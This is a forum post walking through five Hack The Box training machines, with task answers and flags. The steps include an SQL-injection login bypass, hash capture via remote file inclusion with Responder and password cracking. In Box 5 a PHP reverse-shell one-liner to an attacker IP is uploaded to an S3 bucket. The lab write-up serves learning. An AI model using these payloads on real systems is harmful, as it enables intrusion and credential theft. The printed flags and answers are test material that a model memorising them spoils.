

Forum:[Hack Forums](#)

Thread: [Hack The Box - Starting Point: "You Need To Walk Before You Can Run"](#)

Zenthara - May 22, 2025, 3:48 pm

Chapter 2: "You Need To Walk Before You Can Run"

Hack The Box Learning Outcomes

In the second tier, you'll delve deeper into the world of cybersecurity pen-testing, focusing on web exploitation techniques suitable for beginners. You'll discover the basics of SQL injection, Server Side Template Injection, Remote File Inclusion, and gain a grasp of how to use Web/Reverse Shells effectively. Building on the knowledge from the first tier, you'll apply these techniques to exploit various services showcased earlier, ensuring a hands-on understanding of their vulnerabilities.

Additionally, you'll learn how to navigate Jenkins, a popular automation server, to log in and upload a Groovy Shell Script, a valuable skill for penetration testing. Finally, you'll round out your expertise by understanding how to upload files to an S3 Bucket, providing you with a comprehensive range of skills to excel in the cybersecurity field. This tier takes you one step further in your pen-testing journey. Learn basic web exploitation techniques such as SQL injection, Server Side Template Injection, Remote File Inclusion and how to use Web/Reverse Shells.

Use the services showcased in the previous tier for exploitation.

Learn how to login to Jenkins and upload a Groovy Shell Script.

Learn how to upload files to an S3 Bucket.

Each writeup in this series covers a different free Hack The Box machine in order of appearance on the platform, broken down into clear and practical steps.

Initial Setup Steps

Connect to the Hack The Box Network

To begin attacking any machine, you must first be on the same network. HTB provides two primary methods: Pwnbox – A ready-to-use browser-based VM. Great for quick challenges.

OpenVPN – For those preferring their own environment. Full instructions are provided in the spoiler below.

Configuring your own Environment (OpenVPN) This step is only necessary if you wish to use OpenVPN ([Click to View](#))

Step 1: Download Required Software

If you would rather complete these tasks in your own custom environment you should download the following tools: [VMWare](#) (Recommended) // [License Keys for VMware Workstation PRO](#)

[Parrot Security Linux \(OS\)](#) Step 2: Extract the VMDK File from the downloaded ZIP

You can use [WinRAR](#) or [7-zip](#) to extract this file.

At the time of writing, the contained file is named "Parrot-security-6.3.2_amd64.vmdk"

Step 3: Create a new Virtual Machine

Open up VMWare Workstation and click on "Create a New Virtual Machine", if this button is not visible navigate to the top left of the screen and click File -> New Virtual Machine (or press the CTRL + N keybind).

You will have a choice between Typical and Custom within the setup wizard. You should pick Typical.

You will then be prompted for your choice of Operating System, click "I will install the operating system later".

You will then get an additional prompt to provide further information on the Operating System you will be installing, select "Linux" as the Guest Operating System and "Debian 11x 64-bit" as the version.

You can name the Virtual Machine whatever you would like but I would recommend naming it "ParrotOS"

You can leave the disk size at its default (20GB). You should also keep the "Split virtual disk into multiple files" enabled.

Review the overview and ensure it is accurate. Then click "Finish".

Step 4: Configure the Virtual Machine

Enter the Virtual Machine Settings by doing ANY ONE of the following: Right click the "ParrotOS" Virtual Machine on the sidebar

Click on "ParrotOS" and use the CTRL + D shortcut

Navigate to VM -> Configure on the topbar.

Click on the "Hard Drive" shown on the left hand list, and then click on the "Remove" button at the bottom of the left hand list.

Click "Add" and click "Hard Drive", proceed to the next page.

Keep the Virtual Disk Type set to SCSI (Recommended)

You will then be prompted to select what disk you would like to use, select "Use an existing virtual disk".

Click on "Browse" and select the previously downloaded and unpacked "Parrot-security-6.3.2_amd64.vmdk" file.

Click "Finish".

You may be prompted with a message stating "Convert existing virtual disk image to newer format?" select "Keep Existing Format".

You should now navigate to the "Options" tab.

Select "Shared Folder"

Under the "Folder Sharing" settings select "Always enabled"

Create a path for the Shared Folder (remember this location, you'll need it later) and click "Next"

The only Additional Attribute needed is "Enable this share" and click "Finish".

Select "Advanced" in the options menu

Under "Firmware Type" select "UEFI"

Click "OK".

Step 5: Power on the Virtual Machine

You can start the machine by either: Clicking on "ParrotOS" on the left hand menu and then pressing the CTRL + B shortcut.

Click on "ParrotOS" on the left hand menu and clicking the "Power on this virtual machine" button

You may be prompted with a menu stating "Cannot connect to virtual device ide1:0 because no corresponding..." you should select "Yes" on this menu.

If you get a selection of different versions. Press Enter and it will just select the default one.

Step 6: Configuring the Machine for Attacks

By this point you should now be presented with the ParrotOS desktop, you may be asked if you would like to scan for updates, you should select "Yes".

? This will take a while.

Once the updates have concluded go back onto the HackTheBox website (ensure that you open this INSIDE OF PARROTOS) and navigate [this page](#) and select the Box you would like to complete (Meow, Fawn, Dancing or Redeemer), click on the box and you will be presented with their first step. You should select "Connect with OpenVPN" and the default parameters provided will be fine for this project.

Click on "Download VPN". You will be prompted to download an OVPN file, download this file, and open up a new Terminal window and execute the following commands: `cd /home/user/Downloads`

```
sudo openvpn starting_point_YOURNAME.ovpn
```

If this was all a success your screen should be [looking something like this](#).
You are now ready to communicate with the HTB machines.

Steps for Each Box

Spawn the Target Machine

Once connected, spawn the target using the "Spawn Target" button on the HTB page. This will provide the IP address of the machine to be tested.

Table of ContentsBox 1: Appointment

Box 2: Sequel

Box 3: Crocodile

Box 4: Responder

Box 5: Three

[Box 1: Appointment](#)

Tags: Databases, Apache, MariaDB, PHP, SQL, Reconnaissance, SQL Injection

[Video Walkthrough: Produced by Technology Interpreters](#)

Box 1: Appointment ([Click to View](#))

Task 1: What does the acronym SQL stand for?

Answer: Structured Query Language

Reason: [LMGTFY: "SQL definition"](#)

Task 2: What is one of the most common type of SQL vulnerabilities?

Answer: SQL Injection

Reason: "SQL Injection is a technique that allows adversaries to insert arbitrary SQL commands in the queries that a web application makes to its database queries. It works on vulnerable web pages and apps that use a backend database like MySQL, Oracle, or MSSQL." ([Singh & Yesil; 2024](#))

Task 3: What is the 2021 OWASP Top 10 classification for this vulnerability?

Answer: A03:2021-Injection

Reason: You can get this answer through viewing the [OWASP Top 10](#).

Task 4: What does Nmap report as the service and version that are running on port 80 of the target?

Answer: Apache httpd 2.4.38 ((Debian))

Reason:

Task 5: What is the standard port used for the HTTPS protocol?

Answer: 443

Reason: [LMGTFY: "What port does HTTPS use?"](#)

Task 6: What is a folder called in web-application terminology?

Answer: Directory

Reason: [LMGTFY: "What is a folder called in web-application terminology?"](#)

Task 7: What is the HTTP response code is given for 'Not Found' errors?

Answer: 404

Reason: [HTTP Response Codes - Mozilla](#)

Task 8: Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we're looking to discover directories, and not subdomains?

Answer: dir

Reason: Execute the "gobuster -h" command, review the output and you will see the following:

Task 9: What single character can be used to comment out the rest of a line in MySQL?

Answer: #

Reason: [MySQL 8.4 Reference Manual -> Language Structure -> Comments](#)

Task 10: If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?

Answer: Congratulations

Reason: See below

Submit Flag: Submit root flag

Now that we know there is an HTTP server running on Port 80, let's navigate to it.

We are presented with an insecure login form. We are aware from our prior work that it is likely to be an SQL injection utilising the EOF comment character (#).

To accomplish this basic SQL Injection you must first imagine what the query would look like, most look something similar to this:

Code `SELECT * from users WHERE username='{USERNAME}' AND password='{PASSWORD}'` If we used the login credentials of the admin user (admin/adminpass) the query would look something like this:

Code `SELECT * from users WHERE username='admin' AND password='adminpass'` This would allow for the admin to select their own account if the password matches. We want to mess with this, to allow us (not the admin) into the account. We know that this system is likely to be vulnerable to SQL Injections and we should attempt one - we know from earlier that we will likely have the best luck using the # character.

If we attempt to login with the username: "admin'#"

The query will end up looking like this:

Code `SELECT * from users WHERE username='admin'# AND password='adminpass'`

We can see that this output looks malformed, and it indeed is. This statement will now ignore what comes after the comment character (#) and will only execute:

Code `SELECT * from users WHERE username='admin'` Tricking the system into believing that we are now an authorised user.

Now that this has been completed the login page changes to the Flag page.

[Box 2: Sequel](#)

Tags: Vulnerability Assessment, Databases, MySQL, SQL, Reconnaissance, Weak Credentials

[Video Walkthrough: Produced by Abricto Security](#) Box 2: Sequel ([Click to View](#))

Task 1: During our scan, which port do we find serving MySQL?

Answer: 3306

Reason: After executing an NMAP scan on the Target IP MySQL is the only service returning a response on port 3306.

Task 2: What community-developed MySQL version is the target running?

Answer: MariaDB

Reason: Unlike the previous NMAP scan we're now interested in a bit more data than previously, we can execute NMAP using the "-sC" and "-sV" parameters, this will return the software Version Banners.

Task 3: When using the MySQL command line client, what switch do we need to use in order to specify a login username?

Answer: -u

Reason: Firstly we need to install MySQL and its dependancies, we can do this by executing the following console command: `Code sudo apt install mysql`*After we have done this we can now execute it with the "mysql -?" command we can view the help information, we are most interested in the -u flag:

Task 4: Which username allows us to log into this MariaDB instance without providing a password?

Answer: root

Reason: [LMGTFY: "MariaDB Default Password"](#)

Task 5: In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?

Answer:

Reason: The `*` symbol is used for selecting ALL things, read more - [SQL Operators: The Asterisk *](#)

Task 6: In SQL, what symbol do we need to end each query with?

Answer: ;

Reason: The `;` symbol is used to end each statement. Read more - [W3Schools 'SQL Syntax'](#)

Task 7: There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that's unique to this host?

Answer: htb

Reason: After executing the "SHOW" SQL command on the databases, we can see that there are the default tables (mysql, information_schema, and performance_schema).

Submit Flag: Submit root flag

Answer: 7b4bec00d1a39e3dd4e021ec3d915da8

Reason:

We are now inside of the database and know that there is the "htb" database. We can enter it using the "USE" command.

We would now like to know what tables are contained within the database, we can use the "SHOW" command for this.

And now that we know exactly where documents are being stored in this database, let's output them to the command line using the "SELECT *" (select all) command.

We can see the flag is contained within the CONFIG table.

[Box 3: Crocodile](#)

Tags: Custom Applications, Protocols, Apache, FTP, Reconnaissance, Web Site Structure Discovery, Clear Text Credentials, Anonymous/Guest Access

[Video Walkthrough: Produced by Technology Intepreters](#)

Box 3: Crocodile ([Click to View](#))

Task 1: What Nmap scanning switch employs the use of default scripts during a scan?

Answer: -sC

Reason: To view information on the flags available for the nmap command we can run the help command, "nmap -h":

The portion shown above in the image is the important part for this question. To execute using default scripts you can use the "-sC" flag.

Task 2: What service version is found to be running on port 21?

Answer: vsFTPD 3.0.3

Reason: Using the information we learned within Task 1, we know that we should use the Default Scripts flag (-sC), we will then run a scan against the target and observe the results.

As it can be seen within the script that executed, the returned version of software is "vsFTPD 3.0.3".

Task 3: What FTP code is returned to us for the "Anonymous FTP login allowed" message?

Answer: 230

Reason: To figure out the login code, we can attempt to anonymously login and observe the result.

Task 4: After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?

Answer: anonymous

Reason: As Shown within Task 3.

Task 5: After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?

Answer: get

Reason: Using the "help" command once logged into the server, we can see what the available commands are:

As it can be seen, the GET command looks promising, let's delve into it in a little bit more detail, we can use the "help get" command.

Task 6: What is one of the higher-privilege sounding usernames in 'allowed.userlist' that we download from the FTP server?

Answer: admin

Reason:

We are now logged into the system, we would like to know what other directories and files are near us that we can interact with, we can execute the "dir" command for this purpose.

We can see that there are two files listed here (allowed.userlist & allowed.userlist.passwd), our goal is to download these and we know that we can use the "get" command for this.

After downloading the files from the FTP server they're downloaded to the user directory, the shortcut for this is the ~ key, we will now want to view the allowed.userlist.passwd file using the "cat" command.

We will now do this with the allowed.userlist file.

As it can be seen, the highest-privilege name seems to be "admin".

Task 7: What version of Apache HTTP Server is running on the target host?

Answer: Apache httpd 2.4.41

Reason: The previous NMAP scan that we ran in Task 2 doesn't show the version of the HTTP port.

We can run a new scan with the "-sV" flags to get the Service Version banners.

We can see the version is "Apache httpd 2.4.41 ((Ubuntu))", HTB only wants us the core portion of this, thus the final answer is "Apache httpd 2.4.41".

Task 8: What switch can we use with Gobuster to specify we are looking for specific filetypes?

Answer: -x

Reason: After using the "gobuster --help" command, no information stands out, so we'll look directly at the dir command, "gobuster help dir", looking through this output we see:

Task 9: Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service?

Answer: login.php

Reason: We want to look for PHP files, so we can pass PHP to the -x flag, setting our filter. We will also use the wordlist provided by Gobuster.

Gobuster is now brute forcing the Web Application looking for pages that match to one of the names in the wordlist.

As the process continued it the page names were filtering through

It can be seen from the above screenshot that the login.php page is likely to be used for authentication to the web service.

Submit Flag: Submit root flag

Answer: c7110277ac44d78b6a9fff2232434d16

Reason: Using the login information that we found within Task 6 we can attempt to login using the details that match to the same position in each document.

This in result means that we will be using "admin" as the username and "rKXM59ESxesUFHAd" as the password.

This was a success!

As shown within the screenshot, the flag is visible on the dashboard index.

[Box 4: Responder](#)

Tags: WinRM, Custom Applications, Protocols, XAMPP, SMB, Responder, PHP, Reconnaissance, Password Cracking, Hash Capture, Remote File Inclusion, Remote Code Execution

[Video Walkthrough: Produced by CryptoCat](#)

Box 4: Responder ([Click to View](#))

Task 1: When visiting the web service using the IP address, what is the domain that we are being redirected to?

Answer: unika.htb

Reason: Open up a web browser and open the target IP, you will then observe the URL change from the entered IP to unika.htb

Task 2: Which scripting language is being used on the server to generate webpages?

Answer: PHP

Reason: We can see that we are being redirected to another URL whenever we load up the site, this is not ideal as we get an Unable to connect message.

We can redirect the IP to the URL by editing the "/etc/hosts" file, this can be done using "sudo nano

/etc/hosts" or through the following command

Code `sudo tee -a /etc/hosts <<< "10.129.124.118 unika.htb"` This forces the domain to resolve to this IP, allowing for us to bypass this.

We can navigate to a non-existent URL on the web page, for this purpose we'll just use "FAKEFILE.php", the full URL would be "http://unika.htb/FAKEFILE.php"

Task 3: What is the name of the URL parameter which is used to load different language versions of the webpage?

Answer: page

Reason: On the navigation bar we can see a button that says "EN", hovering over this reveals two other additional options for "FR" and "DE", clicking on either of these changes the site's URL by appending "/index.php?page=french.html" or "/index.php?page=german.html" respectively. The URL parameter is "page".

Task 4: Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

Answer: ../../../../../../windows/system32/drivers/etc/hosts

Reason: french.html - This is not an example of a LFI vulnerability, this is the expected file and loading it gives the expected result.

//10.10.14.6/somefile - Calls to a remote server, namely 10.10.14.6, this is not an example of a LOCAL File Inclusion vulnerability.

../../../../../../../../windows/system32/drivers/etc/hosts - This WOULD be an example of a LFI vulnerability, allowing for the /etc/hosts file to be outputted to a non-authorized user. This shows that all files that the Web Server can access, so can the users.

minikatz.exe - This filename lacks any path manipulation and doesn't indicate an attempt to include local files.

Task 5: Which of the following values for the `page` parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

Answer: //10.10.14.6/somefile

Reason: This parameter calls for a remote IP, this would be the attacker (your) server.

Task 6: What does NTLM stand for?

Answer: New Technology LAN Manager

Reason: [Wikipedia: 'NTLM'](https://en.wikipedia.org/wiki/NTLM)

Task 7: Which flag do we use in the Responder utility to specify the network interface?

Answer: -I

Reason: We first need to install the Responder tool to be able to figure out this information, we can clone the active GitHub repository with "git clone <https://github.com/lgandx/Responder.git>"

We need to first create and setup a Virtual Environment to install the dependencies, we can do this with the following command `sudo apt install python3-venv -y`

`python3 -m venv venv`

`source venv/bin/activate`

`pip install -r requirements.txt`

We can now run the Responder.py file with the "--help" parameter.

It can be seen in the above image that the -I flag is used for specifying the interface that you would like to select.

Task 8: There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.

Answer: John the Ripper

Reason: After executing the "john" command in console without any parameters it can be seen that the full name of the software is John the Ripper.

Task 9: What is the password for the administrator user?

Answer: badminton

Reason: We can start up a session of Responder on the tun0 interface. This will allow for us to start up a server to listen for the remote connection we're about to make. We will use the following command "sudo -E env PATH="\$PATH" python Responder.py -I tun0"

With this connection open, we can now go to the Web Browser and attempt a Remote File Inclusion to send packets from the server to our client.

We can now extract this hash and put it into its own text file

We should also unzip the rockyou word list using the "gzip" command with the "-d" parameter.

Code `sudo gzip -d /usr/share/wordlists/rockyou.txt.gz` We can now pass this data through John the Ripper and attempt to break the hash.

Task 10: We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?

Answer: 5985

Reason: We will run a more in depth scan for Service Versions on ALL ports (between 0-65535)

Submit Flag: Submit root flag

Answer: ea81b7afddd03efaa0945333ed147fac

Reason: We would like to login to the system using Windows Remote Management, an excellent tool for this is [Hackplayers's evil-winrm](#), we can install this pretty easily on Parrot OS using the "sudo gem install evil-winrm" command. The basics on how to use the tool are explained within the [GitHub repository](#).

Now that we have evil-winrm installed on the system, we can utilise it to attack the target.

After navigating through the system using the "cd" and "dir" command, you will eventually come across the flag.txt file, this the path of this file is "C:\Users\mike\Desktop\flag.txt", we can then utilise the "type" command (the Windows alternative to the Linux cat command) to list out the file content.

Code `C:\Users\mike\Desktop> type flag.txt`

ea81b7afddd03efaa0945333ed147fac

[Box 5: Three](#)

Tags: Cloud, Custom Applications, AWS, AWS Reconnaissance, Web Site Structure Discovery, Bucket Enumeration, Arbitrary File Upload, Anonymous/Guest Access

[Video Walkthrough: Produced by CryptoCat](#)

View Box 5: Three [\(Click to View\)](#)

Task 1: How many TCP ports are open?

Answer: 2

Reason: After running a default NMAP scan, two open TCP ports were returned. It should also be noted that if provided no arguments NMAP will default to performing a TCP scan.

This shows that we have SSH access available on port 22 and a website on port 80 (HTTP).

Task 2: What is the domain of the email address provided in the "Contact" section of the website?

Answer: thetoppers.htb

Reason:

Task 3: In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

Answer: /etc/hosts

Reason: If we currently navigate to "http://thetoppers.htb/" we get timed out as it is unable to resolve the domain name.

To resolve this, we use the same approach as we used within Box 4, we'll add the domain to our /etc/hosts file, we can do this simply with the following command:

Code `sudo tee -a /etc/hosts <<< "10.129.64.64 thetoppers.htb"`

After restarting the internet browser and navigating back to "http://thetoppers.htb/" the following is observed:

The site can now render properly with this domain name.

Task 4: Which sub-domain is discovered during further enumeration?

Answer: s3.thetoppers.htb

Reason: Similarly to within Box 4, we'll enumerate over the subdomains using Gobuster, we first need an acceptable WordList, we'll get this from SecList, you can download and unzip this by using the following command:

Code `cd ~ && wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip && unzip SecList.zip && rm -f SecList.zip` With this list we will then run Gobuster on the subdomains, this can be done with the following commands:

Code `gobuster vhost -w ~/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain`

Task 5: Which service is running on the discovered sub-domain?

Answer: Amazon S3

Reason: Like usual with these tasks, we'll attempt an NMAP scan on the service, and we'll see what results we get back.

This is unexpected. We're not getting any results back from the scan, it is reporting that 0 ports are open. This doesn't seem correct however, we know that there is some interaction between the s3.thetoppers.htb and thetoppers.htb - what we have however forgotten to do is add the s3 subdomain to our /etc/hosts file. It doesn't know how to translate the domain into its corresponding IP address. Let's fix that in a similar way to how we have done it before:

Code `sudo tee -a /etc/hosts <<< "10.129.64.64 s3.thetoppers.htb"`

If we now run the NMAP scan again, if we run the NMAP scan again, we can see if this has changed anything.

We can now see two services are running, SSH on port 22 and an HTTP server on port 80. If we open a web browser we can navigate to the s3 subdomain and observe the results.

If we then [google "s3 subdomain status running"](#), using this search we can see that it looks like an "Amazon S3" service.

Task 6: Which command line utility can be used to interact with the service running on the discovered sub-domain?

Answer: awscli

Reason: If we google "s3 command line" we can see that the tool most utilised for connection to Amazon S3 services is the "awscli", we can install this into Parrot OS with the following command:

Code `sudo apt install awscli`

Task 7: Which command is used to set up the AWS CLI installation?

Answer: aws configure

Reason: The configure command is used for setting up the user information that gets passed to the S3 bucket. For the purposes of this box, we don't need to worry about this and can set the content to anything we wish.

Task 8: What is the command used by the above utility to list all of the S3 buckets?

Answer: aws s3 ls

Reason: We will attempt to use the list command ("ls") to see the S3 instances that are stored on thetoppers.htb.

We're struggling to get a connection again, this is usually because it can't resolve the domain. AWSCLI tells us that we're not able to connect to the endpoint URL, so let's manually pass ours in.

Task 9: This server is configured to run files written in what web scripting language?

Answer: PHP

Reason: As it can be seen above within Task 8, the index file is a PHP file, therefore PHP is the language the server is configured with.

Submit Flag: Submit root flag

Answer: a980d99281a28d638ac68b9bf9453c2b

Reason: We now have access to do a lot of things within the system, but first we need to have an exploit created so that we're able to inject commands into the system. To do this we'll run the following commands to generate the necessary file:

Code `echo '<?php system("/bin/bash -c \"bash -i >& /dev/tcp/10.10.15.20/4444 0>&1\""); ?>' > shell.php` We can then upload this PHP file to the S3 instance using the CP command.

Code `aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb` To demonstrate if the shell works we first need to install netcat (sudo apt-get install netcat-openbsd), and open up a reverse shell on port 4444

Code `nc -lvnp 4444` We can then open an internet browser and navigate to <http://thetoppers.htb/shell.php> - this page will never load, however you should see some changes in your Netcat terminal, confirming that the exploit has worked. If you do not, you can also type in commands such as "id" to validate a connection.

This page will never load but commands can now be executed from the Netcat terminal.
We still need to locate the flag.txt and if we use the cd and ls commands to snoop around the system we eventually locate it at /var/www, the full path of the file being "/var/www/flag.txt"

We can output the contents of this file with the cat command: